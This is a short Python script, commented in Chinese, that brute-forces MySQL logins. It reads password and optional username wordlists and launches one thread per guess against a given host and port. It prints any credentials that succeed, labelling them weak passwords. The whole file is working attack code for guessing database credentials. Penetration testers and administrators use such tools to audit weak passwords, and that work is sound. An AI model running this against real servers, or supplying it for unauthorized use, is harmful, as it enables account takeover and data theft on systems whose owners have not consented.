#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : project
@File : 暴力破解mysql.py
@Author : 陈培腾
@Time : 2024/9/25 10:08  
@脚本说明 : 
"""

import threading
import pymysql

def scan_mysql(host, port, user, password):
    try:
        pymysql.connect(
            host=host,
            port=port,
            user=user,
            password=password,
            database="information_schema",
            connect_timeout=3
        )
        print(f"\n[+] MySQL {host}:{port} 存在弱口令, 用户名：{user}密码：{password}\n")
    except:
        pass
def val_mysql(host, port, user, file, file2):
    try:
        if user == "未知用户名，待暴力破解":
            thread_list_password = []
            with open(f"{file2}", mode='r', encoding="utf-8") as u:
                for user in u:
                    with open(f"{file}", mode='r', encoding="utf-8") as p:
                        for passwd in p:
                            t = threading.Thread(target=scan_mysql, args=(host, port, user.strip(), passwd.strip()))
                            t.start()
                            thread_list_password.append(t)
                    for t in thread_list_password:
                        t.join()
        else:
            thread_list = []
            with open(f"{file}", mode='r', encoding="utf-8") as p:
                for passwd in p:
                    t = threading.Thread(target=scan_mysql, args=(host, port, user.strip(), passwd.strip()))
                    t.start()
                    thread_list.append(t)
            for t in thread_list:
                t.join()
    except:
        print("[-] 读取弱口令文件出错")